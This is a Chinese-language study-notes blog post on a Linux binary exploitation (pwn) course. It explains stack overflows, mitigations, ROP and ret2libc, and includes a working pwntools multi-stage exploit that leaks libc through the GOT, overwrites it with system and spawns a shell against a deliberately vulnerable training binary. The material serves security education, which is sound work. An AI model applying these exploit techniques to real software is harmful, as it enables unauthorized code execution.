linux-exploitation-course是一个pwn基础入门的教程。18年实习的时候star了这个项目,看上去是那种可以”跟着做“的教程,心里也就记着它。后面学安全的时候,时不时就把它拿出来看看,每次都有新发现。前几天为了梳理基础知识,又过了一遍,感觉自己学习方式有点孬,笔记记太少了,不利于复习和记忆。这次干脆把一堆markdown做成了pdf,以便记笔记和复习。
这篇文章是这次学习的笔记。想要学这个教程的同学可以把这篇作为参考,里面有一些调试过程和知识点讲解。
0x00 linux pwn环境搭建
0x01 vagrant搭建虚拟机
教程中用的是vagrant,这是一个管理虚拟机的工具。先在电脑上安装Virtualbox和vagrant,之后在命令行中切到项目目录下,运行vagrant up
虚拟机就配置好了,之后运行vagrant ssh
就可以直接连接虚拟机,很方便,唯一一点障碍就是可能要配置一下源来应付糟糕的网络环境。
配置源的方式:
1
2
3
|
$ vagrant box add https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cloud-images/xenial/20190909.1/xenial-server-cloudimg-amd64-vagrant.box --name ubuntu/xenial64
$ vagrant box list
ubuntu/xenial64 (virtualbox, 0)
|
vagrant up读取的配置文件是Vagrantfile,我们简单看一下教程中的Vagrantfile有哪些内容:
config.vm.box = "ubuntu/xenial64"
表示我们要使用的镜像,可以在这个页面找到很多可用的镜像,linux各个主流发行版都有。
config.vm.provision
这一项中可以写虚拟机的初始化脚本,第一次连接到虚拟机会自动运行,后面可以用vagrant provision
来手动运行。我们可以在使用过程中修改初始化脚本,再用命令vagrant destroy &&vagrant up
调试几次确保不出错。
1
2
3
4
5
6
7
8
9
10
11
|
config.vm.provision "shell", inline: <<-SHELL
dpkg --add-architecture i386
apt-get update
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev
hash -r
pip install --upgrade pip
pip install ropgadget
pip install pwntools
# 省略很多.....
SHELL
end
|
有了镜像和初始化脚本,我们就可以快速地在不同设备中迁移开发环境。
默认情况下,vagrant会把Vagrantfile所在文件夹挂载到虚拟机中的/vagrant
目录下,我们在这个目录下工作就能很方便的共享文件,实现宿主机中开发,虚拟机中运行的丝滑体验。
0x02 工具
gdb
gdb有多个插件可供选择,peda,gef,pwndbg。我目前使用的是pwndbg。
常用命令和技巧
1
2
3
|
vmmap # 查看虚拟内存状况,一般用来找libc、heap、code的基址
checksec # 查看开了哪些缓释机制
cyclic # 找offset
|
~/.gdbinit
1
|
set context-sections "code" # 默认输出信息太多了,可以通过这个命令来调整
|
vim
因为只是偶尔改改脚本用,没必要使用网上成套的配置。
注意目的是减少重复工作。
~/.vimrc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
:command G !gcc -g % -o%<
:command G32 !gcc -m32 -g % -o%<32
:command Gr !gcc -g % -o%< && ./%<
:command Gr32 !gcc -m32 -g % -o%<32 && ./%<32
syntax on
set number
set ruler
call plug#begin('~/.vim/plugged')
Plug 'jiangmiao/auto-pairs'
Plug 'godlygeek/tabular'
Plug 'plasticboy/vim-markdown'
" Initialize plugin system
call plug#end()
set rtp+=~/.fzf
:map <C-F> :FZF<CR>
|
tmux
~/.tmux.conf
exp模板 pwn-template.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# -*- coding:utf-8 -*-
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# r = remote('52.68.31.117', 9547)
name = './'
r = process(name)
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
binn = ELF(name)
print(str(r.proc.pid))
gdb.attach(r, """
heap
""");
print(str(r.proc.pid))
r.interactive()
|
0x10 stack overflow
最经典的漏洞,难怪stack overflow叫stack overflow :)
🌰
1
2
3
4
5
6
7
8
9
10
11
|
// 这里关闭所有缓释机制,编译32位
#include <unistd.h>
#include <stdio.h>
void vuln() {
char buffer[16];
read(0, buffer, 100);
puts(buffer);
}
int main() {
vuln();
}
|
read最多可以往buffer里面写入100个字节,而buffer大小只有16,多余的字节往上会一路覆盖到一些关键寄存器,造成程序错误。
要理解这个,先得知道程序运行的时候栈的状态变化。
0x11 程序运行中栈的变化
(这里只讨论32位)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwndbg> disassemble main
Dump of assembler code for function main:
0x08048466 <+0>: lea ecx,[esp+0x4]
0x0804846a <+4>: and esp,0xfffffff0
0x0804846d <+7>: push DWORD PTR [ecx-0x4]
0x08048470 <+10>: push ebp
0x08048471 <+11>: mov ebp,esp
0x08048473 <+13>: push ecx
0x08048474 <+14>: sub esp,0x4
0x08048477 <+17>: call 0x804843b <vuln> # 调用函数vuln
0x0804847c <+22>: mov eax,0x0
0x08048481 <+27>: add esp,0x4
0x08048484 <+30>: pop ecx
0x08048485 <+31>: pop ebp
0x08048486 <+32>: lea esp,[ecx-0x4]
0x08048489 <+35>: ret
End of assembler dump.
|
在汇编中,函数调用通过call来进行,call把下一条指令压到栈顶,之后跳转到call指令的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
pwndbg> disassemble vuln
Dump of assembler code for function vuln:
=> 0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x18
0x08048441 <+6>: sub esp,0x4
0x08048444 <+9>: push 0x64
0x08048446 <+11>: lea eax,[ebp-0x18]
0x08048449 <+14>: push eax
0x0804844a <+15>: push 0x0
0x0804844c <+17>: call 0x8048300 <read@plt>
0x08048451 <+22>: add esp,0x10
0x08048454 <+25>: sub esp,0xc
0x08048457 <+28>: lea eax,[ebp-0x18]
0x0804845a <+31>: push eax
0x0804845b <+32>: call 0x8048310 <puts@plt>
0x08048460 <+37>: add esp,0x10
0x08048463 <+40>: nop
0x08048464 <+41>: leave
0x08048465 <+42>: ret
End of assembler dump.
pwndbg>
|
在进入vuln后,首先把old ebp压入栈中,并让新的ebp指向这里,构造出了新的”栈帧“
当vuln运行完需要返回到main中时,会发生什么呢?
leave销毁了新的”栈帧“,恢复了旧的栈帧。
ret把栈顶的地址pop到eip中(在上一步leave之后栈顶的地址就是返回地址)
看完在main中调用vuln的过程分析,可以总结出以下几点:
- 程序通过ebp和esp来标识当前运行函数的栈,当调用或者返回其他函数时,相应地创建或释放栈。
- call和ret是一对,修改eip实现程序执行逻辑跳转
push ebp; mov ebp esp
和leave是一对,建立和销毁栈帧
0x12 破坏
通过上面的分析可以知道,函数的返回地址是放在ebp+4这个地方的。而局部变量一般放在ebp-xx处,我们例子中的buffer放在ebp-0x18处。
因为我们可以赋给buffer 0x100个字节,超过了0x18个字节,多的字节就会往上覆盖。当然ebp+4也会被覆盖到,offset=(ebp+4)-(ebp-0x18)=28,所以我们只要输入28+4个字节的数据就能把函数的返回地址覆盖成我们想要的,即所谓的”可以覆盖eip“。后续只要构造出shellcode,就可以控制程序做我们想做的事了。
0x13 利用
我们有什么:0x100字节的空间、可以覆盖eip。
尝试构造payload:
控制eip跳转到shellcode处执行
1
2
3
4
|
payload = ""
payload += "A"*28 + p32(shellcode_addr) # gdb里面手动找shellcode在哪
payload += shellcode
payload = payload.ljust(0x100, "\x90")
|
0x20 保护措施 👮♀️
如今linux已经有了很多缓释机制来防止漏洞利用,例如ASLR、NX、Stack Canaries
0x21 ASLR
ASLR(Address Space Layout Randomisation)
使得每次程序运行的时候代码基址、栈基址、堆基址、加载库的基址等是变化的。
这样就不能再在漏洞利用程序中使用硬编码的地址,加大了利用难度。
0x22 NX
NX(No eXecute) Data Execution Prevention (DEP)
栈和堆的区域被设为"不可执行",这样我们就不能向之前的那个例子那样跳转到放在栈上的shellcode并执行
0x23 Stack Canaries
在局部变量和old ebp直接放置一个随机值,在函数返回之前确认这个值未被改动。
这避免了通过局部变量溢出来覆盖ebp后面的值。
0x30 Bypass NX
(这里是为了讨论概念,所以前提是只开启了这一种保护)
假设我们已经获得eip,既然栈上不能执行,那么我们应该往哪跳呢?
0x31 ROP
ROP(Return Oriented Programming)
面向ret编程:)
在binary中寻找类似这样以ret结尾的语句:
1
|
0x0804f065 : pop esi ; pop ebp ; ret
|
跳转到这种语句中我们可以执行一些命令,之后ret。
这种语句被称为gadgets,多个gadgets拼接起来就可以构造出一条ROP链。
Q: 这个ROP链是怎么运行起来的呢?
假设此时我们已经成功覆盖。在leave之后ret之前,esp指向返回地址,此时esp以及esp上面的地址都已经被覆盖。
执行ret,栈顶元素弹出到eip,esp加4,程序跳转到0x807299a处执行,此处是一个gadget,往后执行到ret时,栈顶元素再次弹出到eip,esp加4,程序跳转到0x80ee060处执行。。就这样,依次执行各个gagdet,形成ROP chain。
所以,我们只要找到一堆合适的gadget,就能执行我们想要的逻辑。例如执行系统调用。
手动找gadget好像有点难,还好有工具可以用,甚至把代码都生成好了。
1
2
3
|
ROPgadget --binary 1_staticnx --ropchain # ROPgadget
ropper --file 1_staticnx --chain execve # ropper
|
0x32 Ret2Libc
假设已知libc基址,可以计算出system的地址。我们在栈上构造处"/bin/sh"作为system的参数,再跳转到system。
Q: 注意到此时指向"/bin/sh"的是esp+4而不是esp,这是为什么?
正常call一个函数的时候有个把next instruction压栈的操作,这里是直接跳转的,所以需要在栈上模拟这种布局,使得函数能找到正确的参数。
0x40 Bypassing ASLR/NX
开启保护ASLR和NX
0x41 GOT and PLT
先介绍一下两个概念:GOT(Global Offset Table), PLT(Procedure Linkage Table)
形象表达一下,GOT是一个表格,第一列是。。。TODO
0x42 Ret2PLT
虽然此时system地址是变化的了,但是我们可以跳转到system@plt,这个地址是不变的。而且会自动解析跳转到system
0x43 GOT Overwrite
改写got表中的项。
ctf中经常见到的,改写atoi@got为system,这样在程序输入数字的地方输入“/bin/sh",即可getshell
0x50 Multi-Stage Exploits
组合拳👊
例子🌰
1
2
3
4
5
6
7
8
9
10
|
#include <unistd.h>
#include <stdio.h>
void vuln() {
char buffer[16];
read(0, buffer, 100);
write(1, buffer, 16);
}
int main() {
vuln();
}
|
如果梳理不通下面exp的运行流程,回头复习一下[0x31 ROP](#0x31 ROP)那个小节。
大致描述一下:1. 打印write_got,泄露libc基址。2.往write_got里面写入system。 3.getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
#!/usr/bin/python
from pwn import *
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15ba0b
read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014
new_system_plt = write_plt
pppr = 0x080484e9 # pop esi; pop edi; pop ebp; ret; 作用是清理栈,进入下一个stage
ed_str = 0x8048243
def main():
p = process("../build/1_vulnerable")
raw_input(str(p.proc.pid))
# Craft payload
payload = "A"*28 # offset
payload += p32(write_plt) # 1. write(1, write_got, 4)
payload += p32(pppr)
payload += p32(1) # STDOUT
payload += p32(write_got)
payload += p32(4)
payload += p32(read_plt) # 2. read(0, write_got, 4)
payload += p32(pppr)
payload += p32(0) # STDIN
payload += p32(write_got)
payload += p32(4)
payload += p32(new_system_plt) # 3. system("ed")
payload += p32(0xdeadbeef)
payload += p32(ed_str)
p.send(payload)
# Clear the 16 bytes written on vuln end
p.recv(16)
# Parse the leak
leak = p.recv(4)
write_addr = u32(leak)
log.info("write_addr: 0x%x" % write_addr)
# Calculate the important addresses
libc_base = write_addr - offset_write
log.info("libc_base: 0x%x" % libc_base)
system_addr = libc_base + offset_system
log.info("system_addr: 0x%x" % system_addr)
# Send the stage 2
p.send(p32(system_addr))
p.interactive()
if __name__ == "__main__":
main()
|